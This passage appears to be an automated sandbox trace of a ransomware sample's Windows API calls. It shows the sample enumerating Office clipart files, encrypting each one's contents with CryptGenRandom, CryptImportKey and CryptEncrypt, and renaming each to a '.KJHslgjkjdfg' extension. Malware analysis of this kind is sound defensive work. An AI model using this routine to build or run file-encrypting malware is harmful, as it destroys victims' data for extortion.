Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.kjhslgjkjdfg")) returned 1 [0233.671] CloseHandle (hObject=0x130) returned 1 [0233.671] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0233.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.672] GetProcessHeap () returned 0x2ef0000 [0233.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.672] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.672] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.672] GetProcessHeap () returned 0x2ef0000 [0233.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0233.672] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0233.672] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.856] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.857] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.857] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.857] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ea0, lpOverlapped=0x0) returned 1 [0233.929] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ea0, dwBufLen=0x2ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ea0) returned 1 [0233.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.930] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ea0, lpOverlapped=0x0) returned 1 [0233.930] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.930] SetEndOfFile (hFile=0x130) returned 1 [0233.933] GetProcessHeap () returned 0x2ef0000 [0233.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.933] GetProcessHeap () returned 0x2ef0000 [0233.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.kjhslgjkjdfg")) returned 1 [0233.935] CloseHandle (hObject=0x130) returned 1 [0233.935] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0233.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.987] GetProcessHeap () returned 0x2ef0000 [0233.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.987] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.987] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0233.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.989] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.989] GetProcessHeap () returned 0x2ef0000 [0233.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0233.990] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0233.990] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.990] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.990] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.990] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.990] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.990] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.990] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.990] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.991] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f72, lpOverlapped=0x0) returned 1 [0233.991] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f80, dwBufLen=0x4f80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f80) returned 1 [0233.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.992] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f80, lpOverlapped=0x0) returned 1 [0233.992] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.992] SetEndOfFile (hFile=0x130) returned 1 [0233.994] GetProcessHeap () returned 0x2ef0000 [0233.995] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.995] GetProcessHeap () returned 0x2ef0000 [0233.995] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.kjhslgjkjdfg")) returned 1 [0233.997] CloseHandle (hObject=0x130) returned 1 [0233.997] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0233.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.998] GetProcessHeap () returned 0x2ef0000 [0233.998] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.998] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.998] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0234.233] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.233] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.233] GetProcessHeap () returned 0x2ef0000 [0234.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.234] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.234] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.234] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.234] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.234] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f74, lpOverlapped=0x0) returned 1 [0234.264] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f80) returned 1 [0234.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.265] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f80, lpOverlapped=0x0) returned 1 [0234.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.265] SetEndOfFile (hFile=0x130) returned 1 [0234.267] GetProcessHeap () returned 0x2ef0000 [0234.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.267] GetProcessHeap () returned 0x2ef0000 [0234.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.kjhslgjkjdfg")) returned 1 [0234.269] CloseHandle (hObject=0x130) returned 1 [0234.269] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0234.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.270] GetProcessHeap () returned 0x2ef0000 [0234.270] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.270] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.291] GetProcessHeap () returned 0x2ef0000 [0234.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.292] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.292] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.292] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e5c, lpOverlapped=0x0) returned 1 [0234.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60) returned 1 [0234.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.318] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e60, lpOverlapped=0x0) returned 1 [0234.318] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.318] SetEndOfFile (hFile=0x130) returned 1 [0234.321] GetProcessHeap () returned 0x2ef0000 [0234.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.322] GetProcessHeap () returned 0x2ef0000 [0234.322] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.kjhslgjkjdfg")) returned 1 [0234.323] CloseHandle (hObject=0x130) returned 1 [0234.324] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0234.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 